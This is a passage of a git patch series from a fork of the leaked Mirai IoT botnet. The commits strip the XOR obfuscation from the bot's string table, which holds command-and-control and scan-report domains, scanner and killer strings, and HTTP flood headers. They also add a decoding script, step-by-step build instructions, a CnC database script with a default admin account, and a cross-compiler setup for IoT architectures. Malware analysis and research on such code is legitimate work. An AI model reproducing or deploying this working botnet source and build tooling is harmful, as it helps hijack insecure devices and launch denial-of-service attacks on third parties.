"\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x6F\x6B\x70\x63\x6B\x22", 19); - add_entry(TABLE_SCAN_RESP, "\x6F\x6B\x70\x63\x6B\x18\x02\x43\x52\x52\x4E\x47\x56\x02\x4C\x4D\x56\x02\x44\x4D\x57\x4C\x46\x22", 24); - add_entry(TABLE_SCAN_NCORRECT, "\x4C\x41\x4D\x50\x50\x47\x41\x56\x22", 9); - add_entry(TABLE_SCAN_PS, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x52\x51\x22", 16); - add_entry(TABLE_SCAN_KILL_9, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x49\x4B\x4E\x4E\x02\x0F\x1B\x02\x22", 22); - - add_entry(TABLE_ATK_VSE, "\x76\x71\x4D\x57\x50\x41\x47\x02\x67\x4C\x45\x4B\x4C\x47\x02\x73\x57\x47\x50\x5B\x22", 21); - add_entry(TABLE_ATK_RESOLVER, "\x0D\x47\x56\x41\x0D\x50\x47\x51\x4D\x4E\x54\x0C\x41\x4D\x4C\x44\x22", 17); - add_entry(TABLE_ATK_NSERV, "\x4C\x43\x4F\x47\x51\x47\x50\x54\x47\x50\x02\x22", 12); - - add_entry(TABLE_ATK_KEEP_ALIVE, "\x61\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x02\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 23); - add_entry(TABLE_ATK_ACCEPT, "\x63\x41\x41\x47\x52\x56\x18\x02\x56\x47\x5A\x56\x0D\x4A\x56\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4A\x56\x4F\x4E\x09\x5A\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4F\x4E\x19\x53\x1F\x12\x0C\x1B\x0E\x4B\x4F\x43\x45\x47\x0D\x55\x47\x40\x52\x0E\x08\x0D\x08\x19\x53\x1F\x12\x0C\x1A\x22", 83); - add_entry(TABLE_ATK_ACCEPT_LNG, "\x63\x41\x41\x47\x52\x56\x0F\x6E\x43\x4C\x45\x57\x43\x45\x47\x18\x02\x47\x4C\x0F\x77\x71\x0E\x47\x4C\x19\x53\x1F\x12\x0C\x1A\x22", 32); - add_entry(TABLE_ATK_CONTENT_TYPE, "\x61\x4D\x4C\x56\x47\x4C\x56\x0F\x76\x5B\x52\x47\x18\x02\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x0F\x55\x55\x55\x0F\x44\x4D\x50\x4F\x0F\x57\x50\x4E\x47\x4C\x41\x4D\x46\x47\x46\x22", 48); - add_entry(TABLE_ATK_SET_COOKIE, "\x51\x47\x56\x61\x4D\x4D\x49\x4B\x47\x0A\x05\x22", 12); - add_entry(TABLE_ATK_REFRESH_HDR, "\x50\x47\x44\x50\x47\x51\x4A\x18\x22", 9); - add_entry(TABLE_ATK_LOCATION_HDR, "\x4E\x4D\x41\x43\x56\x4B\x4D\x4C\x18\x22", 10); - add_entry(TABLE_ATK_SET_COOKIE_HDR, "\x51\x47\x56\x0F\x41\x4D\x4D\x49\x4B\x47\x18\x22", 12); - add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, "\x41\x4D\x4C\x56\x47\x4C\x56\x0F\x4E\x47\x4C\x45\x56\x4A\x18\x22", 16); - add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, "\x56\x50\x43\x4C\x51\x44\x47\x50\x0F\x47\x4C\x41\x4D\x46\x4B\x4C\x45\x18\x22", 19); - add_entry(TABLE_ATK_CHUNKED, "\x41\x4A\x57\x4C\x49\x47\x46\x22", 8); - add_entry(TABLE_ATK_KEEP_ALIVE_HDR, "\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 11); - add_entry(TABLE_ATK_CONNECTION_HDR, "\x41\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x22", 12); - add_entry(TABLE_ATK_DOSARREST, "\x51\x47\x50\x54\x47\x50\x18\x02\x46\x4D\x51\x43\x50\x50\x47\x51\x56\x22", 18); - add_entry(TABLE_ATK_CLOUDFLARE_NGINX, "\x51\x47\x50\x54\x47\x50\x18\x02\x41\x4E\x4D\x57\x46\x44\x4E\x43\x50\x47\x0F\x4C\x45\x4B\x4C\x5A\x22", 25); - - add_entry(TABLE_HTTP_ONE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111); - add_entry(TABLE_HTTP_TWO, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111); - add_entry(TABLE_HTTP_THREE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110); - add_entry(TABLE_HTTP_FOUR, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110); - add_entry(TABLE_HTTP_FIVE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x6F\x43\x41\x4B\x4C\x56\x4D\x51\x4A\x19\x02\x6B\x4C\x56\x47\x4E\x02\x6F\x43\x41\x02\x6D\x71\x02\x7A\x02\x13\x12\x7D\x13\x13\x7D\x14\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x14\x12\x13\x0C\x15\x0C\x15\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x74\x47\x50\x51\x4B\x4D\x4C\x0D\x1B\x0C\x13\x0C\x10\x02\x71\x43\x44\x43\x50\x4B\x0D\x14\x12\x13\x0C\x15\x0C\x15\x22", 117); } void table_unlock_val(uint8_t id) @@ -86,8 +79,8 @@ void table_unlock_val(uint8_t id) return; } #endif - - toggle_obf(id); +//NO OBFUSCATION NEEDED. FIXED. + //toggle_obf(id); } void table_lock_val(uint8_t id) @@ -101,8 +94,8 @@ void table_lock_val(uint8_t id) return; } #endif - - toggle_obf(id); + //NO OBFUSCATION + //toggle_obf(id); } char *table_retrieve_val(int id, int *len) From bbd0f02b54ed71d223e14f2f1175b0c828b4fd08 Mon Sep 17 00:00:00 2001 From: Chuck McAuley Date: Wed, 12 Oct 2016 11:12:37 -0400 Subject: [PATCH 20/26] added more de-obfuscation comments --- mirai/bot/table.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/mirai/bot/table.c b/mirai/bot/table.c index 54103b4..45881e7 100755 --- a/mirai/bot/table.c +++ b/mirai/bot/table.c @@ -15,6 +15,12 @@ struct table_value table[TABLE_MAX_KEYS]; void table_init(void) { +// removeed obfuscation +// use the folowing bash magic to create domain or other things for this hexadecimal escaped nonesense +// +// $echo example.com | hexdump -e '1/1 "\\\x"' -e '1/1 "%.2x"' +// \x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\x6d\x0a +// remember to add null byte on end add_entry(TABLE_CNC_DOMAIN, "\x63\x6e\x63\x2e\x63\x68\x61\x6e\x67\x65\x6d\x65\x2e\x63\x6f\x6d\x00", 17); add_entry(TABLE_CNC_PORT, "\x00\x17", 2); add_entry(TABLE_SCAN_CB_DOMAIN, "\x72\x65\x70\x6f\x72\x74\x2e\x63\x68\x61\x6e\x67\x65\x6d\x65\x2e\x63\x6f\x6d\x00", 20); From 79720222f5866ba5be6e2aa492d60bbccfbc2df0 Mon Sep 17 00:00:00 2001 From: Chuck McAuley Date: Wed, 12 Oct 2016 11:14:55 -0400 Subject: [PATCH 21/26] adding deobfuscator --- tools/decode_table.rb | 58 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 tools/decode_table.rb diff --git a/tools/decode_table.rb b/tools/decode_table.rb new file mode 100644 index 0000000..8e1b961 --- /dev/null +++ b/tools/decode_table.rb @@ -0,0 +1,58 @@ +hashtable = { + TABLE_CNC_DOMAIN: "\x41\x4c\x41\x0c\x41\x4a\x43\x4c\x45\x47\x4f\x47\x0c\x41\x4d\x4f\x22", + TABLE_CNC_PORT: "\x22\x35", + TABLE_SCAN_CB_DOMAIN: "\x50\x47\x52\x4d\x50\x56\x0c\x41\x4a\x43\x4c\x45\x47\x4f\x47\x0c\x41\x4d\x4f\x22", + TABLE_SCAN_CB_PORT: "\x99\xc7", + TABLE_EXEC_SUCCESS: "\x4e\x4b\x51\x56\x47\x4c\x4b\x4c\x45\x02\x56\x57\x4c\x12\x22", + TABLE_KILLER_SAFE: "\x4a\x56\x56\x52\x51\x18\x0d\x0d\x5b\x4d\x57\x56\x57\x0c\x40\x47\x0d\x46\x73\x55\x16\x55\x1b\x75\x45\x7a\x41\x73\x22", + TABLE_KILLER_PROC: "\x0d\x52\x50\x4d\x41\x0d\x22", + TABLE_KILLER_EXE: "\x0d\x47\x5a\x47\x22", + TABLE_KILLER_DELETED: "\x02\x0a\x46\x47\x4e\x47\x56\x47\x46\x0b\x22", + TABLE_KILLER_FD: "\x0d\x44\x46\x22", + TABLE_KILLER_ANIME: "\x0c\x43\x4c\x4b\x4f\x47\x22", + TABLE_KILLER_STATUS: "\x0d\x51\x56\x43\x56\x57\x51\x22", + TABLE_MEM_QBOT: "\x70\x67\x72\x6d\x70\x76\x02\x07\x51\x18\x07\x51\x22", + TABLE_MEM_QBOT2: "\x6a\x76\x76\x72\x64\x6e\x6d\x6d\x66\x22", + TABLE_MEM_QBOT3: "\x6e\x6d\x6e\x6c\x6d\x65\x76\x64\x6d\x22", + TABLE_MEM_UPX: "\x7e\x5a\x17\x1a\x7e\x5a\x16\x66\x7e\x5a\x16\x67\x7e\x5a\x16\x67\x7e\x5a\x16\x11\x7e\x5a\x17\x12\x7e\x5a\x16\x14\x7e\x5a\x10\x10\x22", + TABLE_MEM_ZOLLARD: "\x58\x4d\x4e\x4e\x43\x50\x46\x22", + TABLE_MEM_REMAITEN: "\x65\x67\x76\x6e\x6d\x61\x63\x6e\x6b\x72\x22", + TABLE_SCAN_SHELL: "\x51\x4a\x47\x4e\x4e\x22", + TABLE_SCAN_ENABLE: "\x47\x4c\x43\x40\x4e\x47\x22", + TABLE_SCAN_SYSTEM: "\x51\x5b\x51\x56\x47\x4f\x22", + TABLE_SCAN_SH: "\x51\x4a\x22", + TABLE_SCAN_QUERY: "\x0d\x40\x4b\x4c\x0d\x40\x57\x51\x5b\x40\x4d\x5a\x02\x6f\x6b\x70\x63\x6b\x22", + TABLE_SCAN_RESP: "\x6f\x6b\x70\x63\x6b\x18\x02\x43\x52\x52\x4e\x47\x56\x02\x4c\x4d\x56\x02\x44\x4d\x57\x4c\x46\x22", + TABLE_SCAN_NCORRECT: "\x4c\x41\x4d\x50\x50\x47\x41\x56\x22", + TABLE_SCAN_PS: "\x0d\x40\x4b\x4c\x0d\x40\x57\x51\x5b\x40\x4d\x5a\x02\x52\x51\x22", + TABLE_SCAN_KILL_9: "\x0d\x40\x4b\x4c\x0d\x40\x57\x51\x5b\x40\x4d\x5a\x02\x49\x4b\x4e\x4e\x02\x0f\x1b\x02\x22", + TABLE_ATK_VSE: "\x76\x71\x4d\x57\x50\x41\x47\x02\x67\x4c\x45\x4b\x4c\x47\x02\x73\x57\x47\x50\x5b\x22", + TABLE_ATK_RESOLVER: "\x0d\x47\x56\x41\x0d\x50\x47\x51\x4d\x4e\x54\x0c\x41\x4d\x4c\x44\x22", + TABLE_ATK_NSERV: "\x4c\x43\x4f\x47\x51\x47\x50\x54\x47\x50\x02\x22", + TABLE_ATK_KEEP_ALIVE: "\x61\x4d\x4c\x4c\x47\x41\x56\x4b\x4d\x4c\x18\x02\x49\x47\x47\x52\x0f\x43\x4e\x4b\x54\x47\x22", + TABLE_ATK_ACCEPT: "\x63\x41\x41\x47\x52\x56\x18\x02\x56\x47\x5a\x56\x0d\x4a\x56\x4f\x4e\x0e\x43\x52\x52\x4e\x4b\x41\x43\x56\x4b\x4d\x4c\x0d\x5a\x4a\x56\x4f\x4e\x09\x5a\x4f\x4e\x0e\x43\x52\x52\x4e\x4b\x41\x43\x56\x4b\x4d\x4c\x0d\x5a\x4f\x4e\x19\x53\x1f\x12\x0c\x1b\x0e\x4b\x4f\x43\x45\x47\x0d\x55\x47\x40\x52\x0e\x08\x0d\x08\x19\x53\x1f\x12\x0c\x1a\x22", + TABLE_ATK_ACCEPT_LNG: "\x63\x41\x41\x47\x52\x56\x0f\x6e\x43\x4c\x45\x57\x43\x45\x47\x18\x02\x47\x4c\x0f\x77\x71\x0e\x47\x4c\x19\x53\x1f\x12\x0c\x1a\x22", + TABLE_ATK_CONTENT_TYPE: "\x61\x4d\x4c\x56\x47\x4c\x56\x0f\x76\x5b\x52\x47\x18\x02\x43\x52\x52\x4e\x4b\x41\x43\x56\x4b\x4d\x4c\x0d\x5a\x0f\x55\x55\x55\x0f\x44\x4d\x50\x4f\x0f\x57\x50\x4e\x47\x4c\x41\x4d\x46\x47\x46\x22", + TABLE_ATK_SET_COOKIE: "\x51\x47\x56\x61\x4d\x4d\x49\x4b\x47\x0a\x05\x22", + TABLE_ATK_REFRESH_HDR: "\x50\x47\x44\x50\x47\x51\x4a\x18\x22", + TABLE_ATK_LOCATION_HDR: "\x4e\x4d\x41\x43\x56\x4b\x4d\x4c\x18\x22", + TABLE_ATK_SET_COOKIE_HDR: "\x51\x47\x56\x0f\x41\x4d\x4d\x49\x4b\x47\x18\x22", + TABLE_ATK_CONTENT_LENGTH_HDR: "\x41\x4d\x4c\x56\x47\x4c\x56\x0f\x4e\x47\x4c\x45\x56\x4a\x18\x22", + TABLE_ATK_TRANSFER_ENCODING_HDR: "\x56\x50\x43\x4c\x51\x44\x47\x50\x0f\x47\x4c\x41\x4d\x46\x4b\x4c\x45\x18\x22", + TABLE_ATK_CHUNKED: "\x41\x4a\x57\x4c\x49\x47\x46\x22", + TABLE_ATK_KEEP_ALIVE_HDR: "\x49\x47\x47\x52\x0f\x43\x4e\x4b\x54\x47\x22", + TABLE_ATK_CONNECTION_HDR: "\x41\x4d\x4c\x4c\x47\x41\x56\x4b\x4d\x4c\x18\x22", + TABLE_ATK_DOSARREST: "\x51\x47\x50\x54\x47\x50\x18\x02\x46\x4d\x51\x43\x50\x50\x47\x51\x56\x22", + TABLE_ATK_CLOUDFLARE_NGINX: "\x51\x47\x50\x54\x47\x50\x18\x02\x41\x4e\x4d\x57\x46\x44\x4e\x43\x50\x47\x0f\x4c\x45\x4b\x4c\x5a\x22", + TABLE_HTTP_ONE: "\x6f\x4d\x58\x4b\x4e\x4e\x43\x0d\x17\x0c\x12\x02\x0a\x75\x4b\x4c\x46\x4d\x55\x51\x02\x6c\x76\x02\x13\x12\x0c\x12\x19\x02\x75\x6d\x75\x14\x16\x0b\x02\x63\x52\x52\x4e\x47\x75\x47\x40\x69\x4b\x56\x0d\x17\x11\x15\x0c\x11\x14\x02\x0a\x69\x6a\x76\x6f\x6e\x0e\x02\x4e\x4b\x49\x47\x02\x65\x47\x41\x49\x4d\x0b\x02\x61\x4a\x50\x4d\x4f\x47\x0d\x17\x13\x0c\x12\x0c\x10\x15\x12\x16\x0c\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4b\x0d\x17\x11\x15\x0c\x11\x14\x22", + TABLE_HTTP_TWO: "\x6f\x4d\x58\x4b\x4e\x4e\x43\x0d\x17\x0c\x12\x02\x0a\x75\x4b\x4c\x46\x4d\x55\x51\x02\x6c\x76\x02\x13\x12\x0c\x12\x19\x02\x75\x6d\x75\x14\x16\x0b\x02\x63\x52\x52\x4e\x47\x75\x47\x40\x69\x4b\x56\x0d\x17\x11\x15\x0c\x11\x14\x02\x0a\x69\x6a\x76\x6f\x6e\x0e\x02\x4e\x4b\x49\x47\x02\x65\x47\x41\x49\x4d\x0b\x02\x61\x4a\x50\x4d\x4f\x47\x0d\x17\x10\x0c\x12\x0c\x10\x15\x16\x11\x0c\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4b\x0d\x17\x11\x15\x0c\x11\x14\x22", + TABLE_HTTP_THREE: "\x6f\x4d\x58\x4b\x4e\x4e\x43\x0d\x17\x0c\x12\x02\x0a\x75\x4b\x4c\x46\x4d\x55\x51\x02\x6c\x76\x02\x14\x0c\x13\x19\x02\x75\x6d\x75\x14\x16\x0b\x02\x63\x52\x52\x4e\x47\x75\x47\x40\x69\x4b\x56\x0d\x17\x11\x15\x0c\x11\x14\x02\x0a\x69\x6a\x76\x6f\x6e\x0e\x02\x4e\x4b\x49\x47\x02\x65\x47\x41\x49\x4d\x0b\x02\x61\x4a\x50\x4d\x4f\x47\x0d\x17\x13\x0c\x12\x0c\x10\x15\x12\x16\x0c\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4b\x0d\x17\x11\x15\x0c\x11\x14\x22", + TABLE_HTTP_FOUR: "\x6f\x4d\x58\x4b\x4e\x4e\x43\x0d\x17\x0c\x12\x02\x0a\x75\x4b\x4c\x46\x4d\x55\x51\x02\x6c\x76\x02\x14\x0c\x13\x19\x02\x75\x6d\x75\x14\x16\x0b\x02\x63\x52\x52\x4e\x47\x75\x47\x40\x69\x4b\x56\x0d\x17\x11\x15\x0c\x11\x14\x02\x0a\x69\x6a\x76\x6f\x6e\x0e\x02\x4e\x4b\x49\x47\x02\x65\x47\x41\x49\x4d\x0b\x02\x61\x4a\x50\x4d\x4f\x47\x0d\x17\x10\x0c\x12\x0c\x10\x15\x16\x11\x0c\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4b\x0d\x17\x11\x15\x0c\x11\x14\x22", + TABLE_HTTP_FIVE: "\x6f\x4d\x58\x4b\x4e\x4e\x43\x0d\x17\x0c\x12\x02\x0a\x6f\x43\x41\x4b\x4c\x56\x4d\x51\x4a\x19\x02\x6b\x4c\x56\x47\x4e\x02\x6f\x43\x41\x02\x6d\x71\x02\x7a\x02\x13\x12\x7d\x13\x13\x7d\x14\x0b\x02\x63\x52\x52\x4e\x47\x75\x47\x40\x69\x4b\x56\x0d\x14\x12\x13\x0c\x15\x0c\x15\x02\x0a\x69\x6a\x76\x6f\x6e\x0e\x02\x4e\x4b\x49\x47\x02\x65\x47\x41\x49\x4d\x0b\x02\x74\x47\x50\x51\x4b\x4d\x4c\x0d\x1b\x0c\x13\x0c\x10\x02\x71\x43\x44\x43\x50\x4b\x0d\x14\x12\x13\x0c\x15\x0c\x15\x22" +} + +hashtable.each { |key, value| + decode_value = [] + value.each_byte { |bite| decode_value << "\\x%02x" % (bite ^ 0x22) } + puts "add_entry(#{key}, \"#{decode_value.join}\", #{value.length});" +} From 1665baf0829b4876d1354124ddb287d47091af37 Mon Sep 17 00:00:00 2001 From: Chuck McAuley Date: Wed, 12 Oct 2016 11:15:29 -0400 Subject: [PATCH 22/26] editing readme --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 6b54e3d..036a22f 100755 --- a/README.md +++ b/README.md @@ -1,3 +1,6 @@ # Mirai Botnet Client, Echo Loader and CNC source code This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). + + +forked by chuck From 80d6baf04b1bce3a878da26b8c5d7ab6ca12e3ad Mon Sep 17 00:00:00 2001 From: Chuck McAuley Date: Wed, 12 Oct 2016 11:43:47 -0400 Subject: [PATCH 23/26] fix read me file --- README.md | 6 ------ 1 file changed, 6 deletions(-) diff --git a/README.md b/README.md index cb25ccc..a953ed6 100644 --- a/README.md +++ b/README.md @@ -2,12 +2,6 @@ This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). -<<<<<<< HEAD - -forked by chuck -======= ---- - I found mirai.src.zip from [VT](https://www.virustotal.com/en/file/68d01cd712da9c5f889ce774ae7ad41cd6fbc13c42864aa593b60c1f6a7cef63/analysis/) From 5930cdfa0113a82d961ee7fb7c2ad0a8105e1bda Mon Sep 17 00:00:00 2001 From: Chuck McAuley Date: Wed, 12 Oct 2016 14:28:41 -0400 Subject: [PATCH 24/26] make it vagrantized --- Configuring_CNC_Database.txt | 7 ++- README.md | 22 +++++++++- Setting_Up_Cross_Compilers.sh | 80 +++++++++++++++++++---------------- Vagrantfile | 67 +++++------------------------ mirai/bot/table.c | 3 +- mirai/build.sh | 5 +-- mirai/cnc/admin.go | 13 ++++-- mirai/cnc/main.go | 2 +- 8 files changed, 95 insertions(+), 104 deletions(-) mode change 100644 => 100755 Setting_Up_Cross_Compilers.sh diff --git a/Configuring_CNC_Database.txt b/Configuring_CNC_Database.txt index 3aedc33..8773a99 100644 --- a/Configuring_CNC_Database.txt +++ b/Configuring_CNC_Database.txt @@ -1,4 +1,6 @@ +DROP DATABASE IF EXISTS mirai; CREATE DATABASE mirai; +USE mirai; CREATE TABLE `history` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, @@ -33,4 +35,7 @@ CREATE TABLE `whitelist` ( `netmask` tinyint(3) unsigned DEFAULT NULL, PRIMARY KEY (`id`), KEY `prefix` (`prefix`) -); \ No newline at end of file +); + +INSERT INTO users (username, password, duration_limit, cooldown, wrc, last_paid, max_bots, admin, api_key)\ + VALUES ( 'user', 'password',100, 0, 0, 0, 100, 1, 'foobar'); diff --git a/README.md b/README.md index a953ed6..11e413b 100644 --- a/README.md +++ b/README.md @@ -19,4 +19,24 @@ Configuring_CNC_Database.txt from [pastebin.com/86d0iL9g](http://pastebin.com/86 Setting_Up_Cross_Compilers.sh from [pastebin.com/1rRCc3aD](http://pastebin.com/1rRCc3aD) Felicitychou ->>>>>>> 3f80dfb16e01869072b3d295a9f3c8cefb0ce1d8 + +Chuck: +Merged Felicitychou's additions and setup Vagrant file. +To setup build environment, you just need to "vagrant up" +Also removed obfuscation of table.c, so no need to run "enc" tool anymore +Have modified some shell scripts to install more cross compiler packages and remove errors +modified build.sh to download go packages + + +steps to setup build environment +git pull +vagrant up +vagrant ssh +cd /vagrant/mirai +./build.sh + +Steps to create database +cat Configure_CNC_Database.txt | mysql -u root --password=password + +Start the CnC + diff --git a/Setting_Up_Cross_Compilers.sh b/Setting_Up_Cross_Compilers.sh old mode 100644 new mode 100755 index 5ee2e6b..b345a1e --- a/Setting_Up_Cross_Compilers.sh +++ b/Setting_Up_Cross_Compilers.sh @@ -1,51 +1,58 @@ +#!/bin/bash # RUN ALL OF THESE AS A PRIVELEGED USER, SINCE WE ARE DOWNLOADING INTO /etc -# You're gay if you don't use Debian -apt-get install gcc golang electric-fence +apt-get install -y gcc golang electric-fence -mkdir /etc/xcompile -cd /etc/xcompile - -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 - -tar -jxf cross-compiler-armv4l.tar.bz2 -tar -jxf cross-compiler-i586.tar.bz2 -tar -jxf cross-compiler-m68k.tar.bz2 -tar -jxf cross-compiler-mips.tar.bz2 -tar -jxf cross-compiler-mipsel.tar.bz2 -tar -jxf cross-compiler-powerpc.tar.bz2 -tar -jxf cross-compiler-sh4.tar.bz2 -tar -jxf cross-compiler-sparc.tar.bz2 - -rm *.tar.bz2 -mv cross-compiler-armv4l armv4l -mv cross-compiler-i586 i586 -mv cross-compiler-m68k m68k -mv cross-compiler-mips mips -mv cross-compiler-mipsel mipsel -mv cross-compiler-powerpc powerpc -mv cross-compiler-sh4 sh4 -mv cross-compiler-sparc sparc - --- END -- +if [ ! -d "/etc/xcompile" ]; then + pushd . + mkdir /etc/xcompile + cd /etc/xcompile + echo "downloading cross compilers" + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 + echo "unpacking cross compilers" + tar -jxf cross-compiler-armv4l.tar.bz2 + tar -jxf cross-compiler-armv5l.tar.bz2 + tar -jxf cross-compiler-i586.tar.bz2 + tar -jxf cross-compiler-m68k.tar.bz2 + tar -jxf cross-compiler-mips.tar.bz2 + tar -jxf cross-compiler-mipsel.tar.bz2 + tar -jxf cross-compiler-powerpc.tar.bz2 + tar -jxf cross-compiler-sh4.tar.bz2 + tar -jxf cross-compiler-sparc.tar.bz2 + echo "deleting cross compilers" + rm *.tar.bz2 + mv cross-compiler-armv4l armv4l + mv cross-compiler-armv5l armv5l + mv cross-compiler-i586 i586 + mv cross-compiler-m68k m68k + mv cross-compiler-mips mips + mv cross-compiler-mipsel mipsel + mv cross-compiler-powerpc powerpc + mv cross-compiler-sh4 sh4 + mv cross-compiler-sparc sparc + popd +fi # PUT THESE COMMANDS IN THE FILE ~/.bashrc # Cross compiler toolchains +echo 'adding compiler toolchains to $PATH' +echo ' export PATH=$PATH:/etc/xcompile/armv4l/bin -export PATH=$PATH:/etc/xcompile/armv6l/bin +export PATH=$PATH:/etc/xcompile/armv5l/bin export PATH=$PATH:/etc/xcompile/i586/bin export PATH=$PATH:/etc/xcompile/m68k/bin export PATH=$PATH:/etc/xcompile/mips/bin @@ -58,5 +65,4 @@ export PATH=$PATH:/etc/xcompile/sparc/bin # Golang export PATH=$PATH:/usr/local/go/bin export GOPATH=$HOME/Documents/go - --- END -- \ No newline at end of file +' >> /etc/bash.bashrc diff --git a/Vagrantfile b/Vagrantfile index ea34184..7dd709e 100644 --- a/Vagrantfile +++ b/Vagrantfile @@ -1,10 +1,7 @@ # -*- mode: ruby -*- # vi: set ft=ruby : -# All Vagrant configuration is done below. The "2" in Vagrant.configure -# configures the configuration version (we support older styles for -# backwards compatibility). Please don't change it unless you know what -# 